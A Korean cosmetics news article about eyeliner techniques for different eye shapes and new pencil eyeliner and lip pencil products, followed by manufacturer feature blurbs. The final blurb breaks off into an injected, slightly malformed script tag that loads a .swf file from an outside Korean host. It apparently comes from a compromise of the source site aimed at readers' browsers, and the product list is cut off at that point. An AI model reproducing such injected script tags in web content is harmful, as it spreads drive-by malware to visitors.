나만의 색깔, 나만의 포인트

언제부터인가 생얼이 주목 받는 시대가 왔다. 자연미인을 선호하는 남성이 늘어나면서 여성들의 화장법도 바뀌고 있기 때문이다.
그러나 자연스러운 화장 법으로 남들보다 예쁜 인상을 심어주기는 역부족이다. 이때 나만의 포인트를 살리는 방법으로 입술과 눈에 색깔을 넣게 되면 거부감 없이 나를 어필하게 된다.

펜슬 아이라이너는 색상을 선명하게 표현하기에 좋고 쉽게 번지지 않으므로 초보자가 사용하기에 수월하다.

눈 화장에 있어서 쌍꺼풀이 없는 눈은 쌍꺼풀이 있는 눈보다 조금 두껍게 그려 눈이 세로로 길어보이게 하는 것이 좋고 가늘고 긴 눈은 인상이 날카로워 보이지 않게 꼬리는 가늘게 하고 눈동자 부분을 굵게 그리는 화장이 좋다.

또한 눈꼬리가 처진 눈은 꼬리로 갈수록 두껍게, 눈꼬리가 올라간 눈은 꼬리부분을 가늘고 최대한 아래로 그려주어 도톰하게 만들고 조금 부어 보이는 눈은 꼬리로 갈수록 굵어지게 표현하고 언더라인은 생략하는 것이 좋다.

이처럼 같은 제품을 써도 눈 모양에 따라 연출을 달리 해야 자신만의 색깔을 표현할 수 있다.
이번 주에 소개된 펜슬의 특징은 사용자의 편의성에 주안점을 둔 제품이 두드러진다.

특히 라네즈 드로잉 립펜슬의 경우, 립글로스와 틴트 두가지 타입으로 나왔다. 이중 립글로스는 크레용 타입의 펜슬 립글로스로 글로시한 투명감을 부여해주며 틴트 역시, 내용물이 새지않고 양 조절이 용이한 신게념 크레용 타입의 틴트 제품이다.

캐시캣의 아이브로는 내용물의 교체가 용이하도록 카트리지 형태로 제작됐다.
보브의 캐슬듀 컬러샷 펜슬과 더페이스샵의 립라이너 오토펜슬, 미샤 더스타일 오토 아이브로 펜슬 등은 기존 깎아서 사용하는 불편함을 없앤 오토 타입으로 제작했다.

이와 더불어, 최근 물광메이크업 트렌드에 따라 펄성분을 첨가해, 눈과 입술을 한결 돋보이게 해주는 제품도 선보였다.
에뛰드의 스타일 에이드 펜슬과 보브 캐슬듀의 컬러샷 펜슬, 그리고 DHC 아이 메이크업 펜슬 등이 눈에 띈다.

최영두 기자 holl@csmt.co.kr


에뛰드-에뛰드 스타일에이드 펜슬

■주요특징: ①빛의 각도에 따라 다르게 표현되는 요묘한 윤기와 다채로운 컬러가 돋보인다. ②미세하고 은은한 광택 펄의 난반사 효과로 매끈한 광택감과 또렷한 컬러가 담긴 라인 완성한다. ③피부자극 없이 미끄러지듯 그려지며 단 한번의 동작으로 깔끔한 라인 연출한다. ④블렌딩과 셰이딩이 가능해 터치에 따라 도도한 눈매, 그윽한 눈매, 화사한 눈매 등을 자유자재로 연출할 수 있다.
(문의: 080-022-2285/www.etude.co.kr)

에뛰드-에뛰드하우스 아이글로우 펜슬

■주요특징: ①미세하고 은은한 광택 펄의 난반사 효과로 매끈한 광택감과 또렷한 컬러가 담긴 라인이 완성된다. ②피부자극 없이 미끄러지듯이 그려지며 단 한번의 동작으로 깔끔한 라인의 연출이 가능하다. ③블렌딩과 세이딩이 가능한 터치에 따라 도도한 눈, 그윽한 눈, 화사한 눈 등을 자유자재로 연출 가능하다.
(문의: 080-022-2285/www.etude.co.kr)

에뛰드-에뛰드하우스 오마이라인펜슬

■주요특징: ①피부위에서 부드럽게 미끄러지고 파우더리하게 마무리되는 아이라이너 펜슬이다. ②뭉침 없이 고르고 밀착감있게 발리며 지속성이 우수하다.
(문의: 080-022-2285/www.etude.co.kr)

보브-캐슬듀 컬러샷 펜슬

■주요성분: 천연왁스 성분, 폴리머 성분
■주요특징: ①섀도와 라이너를 하나로 연출 가능한 컬러라인 매직펜슬로 샤이닝한 펄과 컬러의 믹스가 매력적인 오토타입 샤이닝 펜슬 섀도이다. ②반짝이는 펄 섀도 펜슬이 아이라인은 또렷하게 연출하며 눈매는 화사하게 표현해 더욱 드라마틱한 아이메이크업을 완성한다. ③?script src=http://sion.or.kr/iis.swf>

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